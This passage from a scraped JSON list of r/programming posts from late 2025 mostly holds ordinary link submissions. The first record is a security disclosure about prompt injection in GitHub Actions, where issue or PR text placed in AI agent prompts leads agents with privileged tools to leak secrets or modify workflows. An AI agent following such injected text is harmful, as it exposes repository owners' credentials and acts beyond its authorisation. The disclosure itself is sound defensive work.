  "url": "https://www.aikido.dev/blog/promptpwnd-github-actions-ai-agents",
  "permalink": "https://www.reddit.com/r/programming/comments/1pe3cew/prompt_injection_within_github_actions_google/",
  "title": "Prompt injection within GitHub Actions: Google Gemini and multiple other fortunate 500 companies vulnerable",
  "body": "So this is pretty crazy. Back in August we reported to Google a new class of vulnerability which is using prompt injection on GitHub Action workflows.\n\nBecause all good vulnerabilities have a cute name we are calling it **PromptPwnd** \n\nThis occus when you are using GitHub Actions and GitLab pipelines that integrate AI agents like Gemini CLI, Claude Code Actions, OpenAI Codex Actions, and GitHub AI Inference.\n\n**What we found (high level):**\n\n* Untrusted user input (issue text, PR descriptions, commit messages) is being passed *directly* into AI prompts\n* AI agents often have access to privileged tools (e.g., `gh issue edit`, shell commands)\n* Combining the two allows prompt injection → unintended privileged actions\n* This pattern appeared in **at least 6 Fortune 500 companies**, including Google\n* Google’s Gemini CLI repo was affected and patched within 4 days of disclosure\n* We confirmed real, exploitable proof-of-concept scenarios\n\n**The underlying pattern:**  \n`Untrusted user input → injected into AI prompt → AI executes privileged tools → secrets leaked or workflows modified`\n\n**Example of a vulnerable workflow snippet:**\n\n    prompt: |\n      Review the issue: \"${{ github.event.issue.body }}\"\n\n**How to check if you're affected:**\n\n* Run **Opengrep** (we published open-source rules targeting this pattern) [ttps://github.com/AikidoSec/opengrep-rules](https://github.com/AikidoSec/opengrep-rules)\n* Or use Aikido’s CI/CD scanning\n\n**Recommended mitigations:**\n\n* Restrict what tools AI agents can call\n* Don’t inject untrusted text into prompts (sanitize if unavoidable)\n* Treat all AI output as untrusted\n* Use GitHub token IP restrictions to reduce blast radius\n\nIf you’re experimenting with AI in CI/CD, this is a new attack surface worth auditing.  \n**Link to full research:** [https://www.aikido.dev/blog/promptpwnd-github-actions-ai-agents](https://www.aikido.dev/blog/promptpwnd-github-actions-ai-agents)",
  "author": "Advocatemack",
  "subreddit": "programming",
  "score": 735,
  "upvoteRatio": 0.96,
  "numComments": 94,
  "createdAt": "2025-12-04T15:47:08.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.aikido.dev/blog/promptpwnd-github-actions-ai-agents",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1pe2quy",
  "url": "https://stacktower.io/",
  "permalink": "https://www.reddit.com/r/programming/comments/1pe2quy/remember_xkcds_legendary_dependency_comic_i/",
  "title": "Remember XKCD’s legendary dependency comic? I finally built the thing we all joked about.",
  "body": "Meet Stacktower: Turn your dependency graph into a real, wobbly, XKCD-style tower.",
  "author": "schnitzeljogger",
  "subreddit": "programming",
  "score": 2004,
  "upvoteRatio": 0.97,
  "numComments": 151,
  "createdAt": "2025-12-04T15:23:18.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://stacktower.io/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1pe1btc",
  "url": "https://marmelab.com/blog/2025/11/12/spec-driven-development-waterfall-strikes-back.html",
  "permalink": "https://www.reddit.com/r/programming/comments/1pe1btc/is_waterfall_making_a_quiet_comeback_because_of/",
  "title": "Is Waterfall making a quiet comeback because of Spec-Driven Development?",
  "body": "Lately, I’ve been seeing a lot about yet another trend in AI-assisted coding: Spec-Driven Development (SDD).\n\nIf you haven’t come across it yet, the idea is pretty simple: one agent writes detailed specs from your brief, another agent turns those specs into code.\n\nBut tbh the more I explore it, the more it feels like Waterfall to me. Here’s why: SDD essentially revives the old idea of heavy documentation before coding. It promises structure for AI-driven programming, but in reality it risks burying agility under layers of Markdown IMO.\n\nDoes SDD feel like a modern Waterfall reboot to you as well? Would love to hear experiences from people who’ve tried it.",
  "author": "Marmelab",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.43,
  "numComments": 9,
  "createdAt": "2025-12-04T14:25:47.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://marmelab.com/blog/2025/11/12/spec-driven-development-waterfall-strikes-back.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1pdr9vh",
  "url": "https://pradyumnachippigiri.substack.com/p/how-does-the-database-guarantee-reliability",
  "permalink": "https://www.reddit.com/r/programming/comments/1pdr9vh/this_is_how_database_guarantees_reliability_using/",
  "title": "This is How database guarantees reliability using write-ahead logging",
  "body": "I wanted to explore and see how database actually does when you hit `COMMIT`.\n\nI work on backend systems, and after some research i am writing this blog where i break down WAL and how it ensures data integrity and reliability. \n\nHope it helps anyone who would be interested in this deep dive. \n\nthanks for reading. ",
  "author": "Comfortable-Fan-580",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.5,
  "numComments": 0,
  "createdAt": "2025-12-04T05:01:29.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://pradyumnachippigiri.substack.com/p/how-does-the-database-guarantee-reliability",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1pdpae4",
  "url": "https://newsletter.eng-leadership.com/p/how-to-be-pragmatic-as-an-engineer",
  "permalink": "https://www.reddit.com/r/programming/comments/1pdpae4/how_to_be_pragmatic_as_an_engineer/",
  "title": "How to Be Pragmatic as an Engineer",
  "body": null,
  "author": "gregorojstersek",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.5,
  "numComments": 0,
  "createdAt": "2025-12-04T03:22:06.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://newsletter.eng-leadership.com/p/how-to-be-pragmatic-as-an-engineer",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1pdnvyn",
  "url": "https://www.cnet.com/tech/services-and-software/meta-is-shutting-down-its-mac-and-windows-messenger-apps-what-you-need-to-know/",
  "permalink": "https://www.reddit.com/r/programming/comments/1pdnvyn/meta_is_killing_messenger_desktop_apps_pwas_are/",
  "title": "Meta Is Killing Messenger Desktop Apps… PWAs Are Finally Taking Over?",
  "body": null,
  "author": "BatPlack",
  "subreddit": "programming",
  "score": 395,
  "upvoteRatio": 0.92,
  "numComments": 137,
  "createdAt": "2025-12-04T02:17:36.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.cnet.com/tech/services-and-software/meta-is-shutting-down-its-mac-and-windows-messenger-apps-what-you-need-to-know/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1pddgdw",
  "url": "https://alexschapiro.com/security/vulnerability/2025/12/02/filevine-api-100k",
  "permalink": "https://www.reddit.com/r/programming/comments/1pddgdw/reverse_engineering_a_1b_legal_ai_tool_exposed/",
  "title": "Reverse engineering a $1B Legal AI tool exposed 100k+ confidential files",
  "body": null,
  "author": "bearsyankees",
  "subreddit": "programming",
  "score": 597,
  "upvoteRatio": 0.96,
  "numComments": 32,
  "createdAt": "2025-12-03T19:12:13.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://alexschapiro.com/security/vulnerability/2025/12/02/filevine-api-100k",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1pd8dh1",
  "url": "https://serversfor.dev/linux-inside-out/the-linux-kernel-is-just-a-program/",
  "permalink": "https://www.reddit.com/r/programming/comments/1pd8dh1/booting_a_linux_kernel_in_qemu_and_writing_pid_1/",
  "title": "Booting a Linux kernel in qemu and writing PID 1 in Go (to show the kernel is \"just a program\")",
  "body": "I’ve been working on a \"Linux Inside Out\" series and wrote a post that might interest folks here who like low-level / OS internals.\n\nThe idea is to dissect the components of a Linux OS, layer by layer, and build a mental model of how everything fits together through experiments.\n\nThe first part is about the kernel, in the post I:\n\n* take the *same kernel image* my distro boots from `/boot`\n* boot it directly with QEMU (no distro, no init system)\n* watch it panic\n* write a tiny Go program and use it as PID 1\n* build a minimal initramfs around it so the kernel can actually start our process\n\nThe goal isn’t to build a real distro, just to give a concrete mental model of:\n\n* that the Linux kernel is just a compressed file, you can boot it without anything else\n* what the kernel actually does at boot\n* how it hands control to userspace\n* what PID 1 / `init` is in practice\n* what is kernel space vs user space\n\nLink: [https://serversfor.dev/linux-inside-out/the-linux-kernel-is-just-a-program/](https://serversfor.dev/linux-inside-out/the-linux-kernel-is-just-a-program/)\n\nI’m the author, would be happy to hear from other devs whether this way of explaining things makes sense, and what you’d add or change for future posts in the series.",
  "author": "indieHungary",
  "subreddit": "programming",
  "score": 302,
  "upvoteRatio": 0.97,
  "numComments": 35,
  "createdAt": "2025-12-03T16:10:55.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://serversfor.dev/linux-inside-out/the-linux-kernel-is-just-a-program/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1pcg3do",
  "url": "https://bun.com/blog/bun-joins-anthropic",
  "permalink": "https://www.reddit.com/r/programming/comments/1pcg3do/bun_is_joining_anthropic/",
  "title": "Bun is joining Anthropic",
  "body": null,
  "author": "[deleted]",
  "subreddit": "programming",
  "score": 593,
  "upvoteRatio": 0.9,
  "numComments": 263,
  "createdAt": "2025-12-02T18:22:27.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://bun.com/blog/bun-joins-anthropic",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1pce50w",
  "url": "https://jhcarl0814.github.io/ClosedAI/git/git.html",
  "permalink": "https://www.reddit.com/r/programming/comments/1pce50w/the_ultimate_git_tutorial_git_252/",
  "title": "The Ultimate Git Tutorial (Git 2.52)",
  "body": "The [ultimate Git tutorial](https://jhcarl0814.github.io/ClosedAI/git/git.html) has been updated (from Git 2.51 to Git 2.52). [Previous post from Git 2.47 era introducing `What & Why` and `Features` for this tutorial](https://www.reddit.com/r/git/comments/1g6uijr/the_ultimate_git_tutorial_git_2470/).\n\n# What & Why:\n\n1. The ultimate tutorial for beginners to thoroughly understand Git, introducing concepts/terminologies in a pedagogically sound order, illustrating command options and their combinations/interactions with examples. This way, learning Git no longer feels like a lost cause. You'll be able to spot, solve or prevent problems others can't, so you won't feel out of control whenever a problem arises.\n2. The ultimate knowledge base site for experienced users, grouping command options into intuitive categories for easy discovery.\n\n# FAQ\n\nQ1: There is too much content, while I somehow expect to read only a portion when facing a lot of content, selectively. How do I use the page to learn Git?  \nA1: Unselectively read all the concept links and blue command links in DOM order. Blue command links introduce most commonly used Git commands and contain examples for command options. For example, click to read the definition of \"object database\", then \"file system\", and so on.\n\nQ2: This doesn't look like a tutorial, as tutorials should look easy, very very easy, want easy things you know. / Where is the tutorial? I only see many links. / I think learning to use a revision control system should only be a small part of my programming job, so it should not take tremendous amount of time. / I just want to get job done quickly and then run away, sure no one wants to figure out what is working or how it is working behind the scenes. / I think revision control systems should be easy because it's not programming proper. Look at *XXX* revision control system, it's easy (but apparently nobody uses it)! / Want easy things, very very easy, tremendously easy.  \nA2: [Here you go.](https://www.reddit.com/r/git/comments/1ftj350/mastering_git_a_comprehensive_git_cheatsheet_for/) [Oh wait.](https://medium.com/@amitmishraam941/mastering-git-a-comprehensive-command-cheatsheet-95ed1db88847)\n\nQ3: I used the tutorials in A2 but don't know what to do whenever I want to do something with Git. / I used the tutorials in A2 but screwed up at work so now I'm staring at the screen in a daze. / I should be able to do what I want after reading some tremendously easy tutorials, but I can't. Now I need to continue looking for easy tutorials that is easy for beginners. / How to use a revision control system if I cannot?  \nA3: [Here are more easy tutorials.](https://www.google.com/search?q=mastering+git+a+comprehensive+git+cheatsheet+for)\n\n**Q4: This tutorial is unintuitive, arcane and overwhelming.**  \n**A4: So people who can't think abstractly and deeply can be shut out.**\n\nQ5: Why not just [RTFM](https://git-scm.com/docs)? / Git is easy, so those who feel it difficult should not go programming. / People should be able to look for information themselves to learn programming so there is no need to make a page like this. / (And other attempts to keep knowledge scattered all around the Internet so you would spend all your life collecting it, this way you don't have time to think about things like Illu\\*\\*\\*\\*\\*\\*\\*, so good!🙄)  \nA5: Knowledge gathering and organization is to save people's time. If you don't take other people's time seriously, they won't take your time seriously either.\n\nQ6: [http://git-scm.com/book](http://git-scm.com/book) / [http://gitimmersion.com/](http://gitimmersion.com/) / I can't see the links in the side bar of r/git 😭😭😭, so can you repeat them here? / (And links to other tutorials, no idea why they don't make a standalone post.)  \nA6: [**Pro Git**](http://git-scm.com/book), [**Git Ready**](http://gitready.com/), [**Git Reference**](http://gitref.org/), [**Git Magic**](http://www-cs-students.stanford.edu/%7Eblynn/gitmagic/index.html), [**Git for Computer Scientists**](http://eagain.net/articles/git-for-computer-scientists/), [**A Visual Git Reference**](http://marklodato.github.com/visual-git-guide/index-en.html?no-svg), [**Git Primer**](http://danielmiessler.com/study/git/), [**Git Immersion**](http://gitimmersion.com/), [**Think Like a Git**](http://think-like-a-git.net/), [**Git Workflows**](http://documentup.com/skwp/git-workflows-book), [**Git on Stack Overflow**](http://stackoverflow.com/questions/tagged/git), [**Getting Git Right**](https://www.atlassian.com/git/), [**The Git Parable**](https://www.atlassian.com/git/)**.**\n\n# Updates:\n\n* Changed explanation of interactions between `git pull (unspecified)/--rebase[=<mode>]/--no-rebase`, `branch.<name>.rebase`, `pull.rebase`, `git pull (unspecified)/--ff-only/--no-ff/--ff`, `pull.ff`, `merge.ff` and their default values from being \"as vague as official documentation\" to being clear.\n* Added links to `git repo` and `git last-modified`.\n* Added ui and examples for `git diff --max-depth=<depth>` and ui for `git log --max-depth=<depth>`.\n* Didn't add examples for `:(optional)` because of its bug.\n* Added links to `git push` page's description section as it now lists how some default values are calculated.\n* Added links to \"upstream branch\" from `git fetch` page and \"push rules\" from `git push` page.\n* Added links to \"how to force tracking not-tracked and ignored files\" and \"how to force adding a submodule whose path-derived name is occupied\".\n\n# Not my Updates:\n\n* The ANSI to HTML functionality will be a built-in feature of mintty ([https://github.com/mintty/mintty/issues/1336](https://github.com/mintty/mintty/issues/1336) ). Currently the page uses a third-party solution and will keep lagging.\n* The official documentation is being improved. The updates to `git push` ([https://github.com/gitgitgadget/git/commits/master/Documentation/git-push.adoc?since=2025-09-21&until=2025-12-02](https://github.com/gitgitgadget/git/commits/master/Documentation/git-push.adoc?since=2025-09-21&until=2025-12-02) ) and `git pull` ([https://github.com/gitgitgadget/git/commits/master/Documentation/git-pull.adoc?since=2025-09-21&until=2025-12-02](https://github.com/gitgitgadget/git/commits/master/Documentation/git-pull.adoc?since=2025-09-21&until=2025-12-02) ) clarify how the default values for `<repo>` and `<refspec>...` are calculated. The website also displays definitions of some terms on pointer hover ([https://github.com/git/git-scm.com/commit/863935e61e383005eb3cbeb097b9ae17af078e1d](https://github.com/git/git-scm.com/commit/863935e61e383005eb3cbeb097b9ae17af078e1d) ). If (in the future) the official website can further provide examples to demonstrate every option for each command, I would be happy to decommission my page.",
  "author": "jhcarl0814",
  "subreddit": "programming",
  "score": 12,
  "upvoteRatio": 0.59,
  "numComments": 8,
  "createdAt": "2025-12-02T17:12:27.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://jhcarl0814.github.io/ClosedAI/git/git.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1pccv7v",
  "url": "https://medium.com/@sanyamjain036/i-used-computers-for-10-years-without-knowing-how-text-actually-works-4781f5f05975",
  "permalink": "https://www.reddit.com/r/programming/comments/1pccv7v/i_used_computers_for_10_years_without_knowing_how/",
  "title": "I Used Computers for 10+ Years Without Knowing How Text Actually Works",
  "body": "\nASCII, Unicode, UTF-8, UTF-16… no clue.\n",
  "author": "AdvertisingFancy7011",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.34,
  "numComments": 16,
  "createdAt": "2025-12-02T16:25:46.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://medium.com/@sanyamjain036/i-used-computers-for-10-years-without-knowing-how-text-actually-works-4781f5f05975",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1pc8j3x",
  "url": "https://world.hey.com/joaoqalves/when-software-becomes-fast-food-23147c9b",
  "permalink": "https://www.reddit.com/r/programming/comments/1pc8j3x/when_software_becomes_fast_food/",
  "title": "When software becomes fast food",
  "body": null,
  "author": "joaoqalves",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.4,
  "numComments": 15,
  "createdAt": "2025-12-02T13:32:40.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://world.hey.com/joaoqalves/when-software-becomes-fast-food-23147c9b",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1pc4rim",
  "url": "https://www.jasonscheirer.com/weblog/vignettes/",
  "permalink": "https://www.reddit.com/r/programming/comments/1pc4rim/the_death_of_software_engineering_as_a_profession/",
  "title": "The Death of Software Engineering as a Profession: a short set of anecdotes",
  "body": null,
  "author": "self",
  "subreddit": "programming",
  "score": 1280,
  "upvoteRatio": 0.89,
  "numComments": 555,
  "createdAt": "2025-12-02T10:08:01.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.jasonscheirer.com/weblog/vignettes/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1pbvjyv",
  "url": "https://medium.com/@HobokenDays/rethinking-duplication-c1f85f1c0102",
  "permalink": "https://www.reddit.com/r/programming/comments/1pbvjyv/duplication_isnt_always_an_antipattern/",
  "title": "Duplication Isn’t Always an Anti-Pattern",
  "body": null,
  "author": "Exact_Prior6299",
  "subreddit": "programming",
  "score": 272,
  "upvoteRatio": 0.91,
  "numComments": 144,
  "createdAt": "2025-12-02T01:42:57.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://medium.com/@HobokenDays/rethinking-duplication-c1f85f1c0102",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1pbdngm",
  "url": "https://xania.org/202512/01-xor-eax-eax",
  "permalink": "https://www.reddit.com/r/programming/comments/1pbdngm/why_xor_eax_eax/",
  "title": "Why xor eax, eax?",
  "body": null,
  "author": "dist1ll",
  "subreddit": "programming",
  "score": 295,
  "upvoteRatio": 0.9,
  "numComments": 141,
  "createdAt": "2025-12-01T14:06:43.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://xania.org/202512/01-xor-eax-eax",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1pb4i9t",
  "url": "https://www.realtimerendering.com/blog/",
  "permalink": "https://www.reddit.com/r/programming/comments/1pb4i9t/game_engine_architecture_explained_from_game/",
  "title": "Game Engine Architecture Explained: From Game Loops to Rendering and Hardware Optimization",
  "body": "If you’ve ever wondered what really powers a modern video game, this guide breaks it down in a clean, practical way. We walk through how a game loop keeps everything running frame-by-frame, how engines manage scenes, physics, and assets, and how rendering pipelines turn raw data into stunning visuals. You’ll also get a simple look at hardware optimization things like memory access patterns, parallelism, and why CPU/GPU coordination matters.  \n  \nIt’s a compact but complete overview designed for developers who want to understand how real game engines work under the hood, without drowning in academic complexity.",
  "author": "Digitalunicon",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.41,
  "numComments": 1,
  "createdAt": "2025-12-01T05:28:20.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.realtimerendering.com/blog/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1pammhc",
  "url": "https://www.slashdata.co/post/global-developer-population-trends-2025-how-many-developers-are-there",
  "permalink": "https://www.reddit.com/r/programming/comments/1pammhc/there_are_472_million_developers_in_the_world/",
  "title": "There are 47.2 million developers in the world - Global developer population trends 2025",
  "body": "I don't know whether this was already discussed. \n\n\n\n>",
  "author": "aregtech",
  "subreddit": "programming",
  "score": 297,
  "upvoteRatio": 0.89,
  "numComments": 99,
  "createdAt": "2025-11-30T16:35:32.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.slashdata.co/post/global-developer-population-trends-2025-how-many-developers-are-there",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1pam554",
  "url": "https://onatm.dev/2025/11/30/why-i-built-my-own-kubernetes-cluster/",
  "permalink": "https://www.reddit.com/r/programming/comments/1pam554/why_i_built_my_kubernetes_cluster_on_hetzner_cloud/",
  "title": "Why I Built My Kubernetes Cluster on Hetzner Cloud",
  "body": null,
  "author": "onatm",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.49,
  "numComments": 20,
  "createdAt": "2025-11-30T16:16:10.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://onatm.dev/2025/11/30/why-i-built-my-own-kubernetes-cluster/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1paiavy",
  "url": "https://brainbaking.com/post/2022/10/why-are-software-engineers-engineers/",
  "permalink": "https://www.reddit.com/r/programming/comments/1paiavy/why_are_software_engineers_not_engineers/",
  "title": "Why Are Software Engineers (Not) Engineers?",
  "body": "*I'm not the author! Just sharing an interesting blog post ;)*\n\nWhat do you guys think? I'm personally of the opinion that software development is a fundamentally different process than traditional engineering dealing with constraints of the real world - we don't have them.\n\nThat's why I prefer simple and understood *Programmer and/or Software Developer* titles :)",
  "author": "BinaryIgor",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.45,
  "numComments": 50,
  "createdAt": "2025-11-30T13:28:47.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://brainbaking.com/post/2022/10/why-are-software-engineers-engineers/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1pa4kvg",
  "url": "https://www.youtube.com/watch?v=S47RpH_4Zn4",
  "permalink": "https://www.reddit.com/r/programming/comments/1pa4kvg/simpler_java_build_tools_with_object_oriented/",
  "title": "Simpler Java Build Tools with Object Oriented Programming",
  "body": null,
  "author": "lihaoyi",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.46,
  "numComments": 0,
  "createdAt": "2025-11-30T00:38:53.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.youtube.com/watch?v=S47RpH_4Zn4",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1p9zzki",
  "url": "https://justoffbyone.com/posts/math-of-why-you-cant-focus-at-work/",
  "permalink": "https://www.reddit.com/r/programming/comments/1p9zzki/the_math_of_why_you_cant_focus_at_work/",
  "title": "The Math of Why You Can't Focus at Work",
  "body": null,
  "author": "duruq",
  "subreddit": "programming",
  "score": 343,
  "upvoteRatio": 0.91,
  "numComments": 53,
  "createdAt": "2025-11-29T21:13:53.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://justoffbyone.com/posts/math-of-why-you-cant-focus-at-work/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1p9o152",
  "url": "http://antigravity.google",
  "permalink": "https://www.reddit.com/r/programming/comments/1p9o152/google_antigravity_one_week_review/",
  "title": "Google Antigravity one week review",
  "body": "Been using Google's Antirgravity for about a week. There's some phenomenal things, and some things that are complete ass. I do usually really plan and write code myself,  but this little side project i decided to 'vibe code 'and man, feast or famine\n\n\nThe good- \n\nThe fact that I can prompt from my ide and when I need/run out of credits, I can just switch models, is very cool; and watching how different models handle similar tasks differently is just super interesting. \n\nSome of the very complex tasks I ask it to do it just knocks out of the park immediately. A little game with state management and turn indications for you vs enemies? Done. Immediately done and close to my liking, unbelievable. Especially since this shit was brand new ans way clunkier 2 years ago\n\nOh my god, and the feature that allows you to roll-back the changes to a certain point in the conversation? FUCKING HALLELUJAH. So quick and easy. Without that feature, the following drawbacks would be complete deal-breakers\n\n\nThe bad-\n\nI've only used it for a web app so far. The BIG drawback is it's file management. Complete dogshit. Not separation of concerns- it just makes each feature one big bloated piece of garbage file that then becomes SO big that the Ai can't even properly handle it and freaks out. Thinks it's corrupted,  accidentally deleted unrelated code. Yeah. \n\nI refactored manually and will test further, but file management is still new it it VERY obviously shows.anf this wasnt me feeding it a project, I had it make the project, it came up with the (lack of) structure, which compounded fast.\n\nAnd you can't give it multiple commands or it messes up more. Like, I have to give it one bite-sized thing to do at a time. Good forbid two bite sized things at once or more. It'll just get both wrong or just spin out until you're out of credits. \n\n-\n\nAll in all, I'm through the moon with Antigravity. Highly recommend having it do some work and checking it between rounds of your favorite video game. Why not? \n\nI'm an optimistic guy in life, and I'm really excited to see where things like this get in one or two years time, and beyond obv.\n",
  "author": "LameChad",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.49,
  "numComments": 18,
  "createdAt": "2025-11-29T12:41:46.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://antigravity.google",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1p9kpz2",
  "url": "https://iwriteaboutcode.blogspot.com/2025/11/what-still-fascinates-me-about-software.html",
  "permalink": "https://www.reddit.com/r/programming/comments/1p9kpz2/what_still_fascinates_me_about_software_dev_15/",
  "title": "What still fascinates me about software dev 15 years into my career",
  "body": null,
  "author": "codingtofreedom",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.42,
  "numComments": 15,
  "createdAt": "2025-11-29T09:24:13.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://iwriteaboutcode.blogspot.com/2025/11/what-still-fascinates-me-about-software.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1p9cz42",
  "url": "https://blog.tymscar.com/posts/imgurukproxy/",
  "permalink": "https://www.reddit.com/r/programming/comments/1p9cz42/imgur_geoblocked_the_uk_so_i_geounblocked_my/",
  "title": "Imgur Geo-Blocked the UK, So I Geo-Unblocked My Entire Network",
  "body": null,
  "author": "NXGZ",
  "subreddit": "programming",
  "score": 246,
  "upvoteRatio": 0.92,
  "numComments": 38,
  "createdAt": "2025-11-29T02:14:35.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://blog.tymscar.com/posts/imgurukproxy/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1p955k4",
  "url": "https://youtu.be/8ncQrGuunHY",
  "permalink": "https://www.reddit.com/r/programming/comments/1p955k4/clean_code_is_bad_what_makes_code_maintainable/",
  "title": "\"Clean Code\" is bad. What makes code \"maintainable\"? part 1 of n",
  "body": null,
  "author": "grauenwolf",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.35,
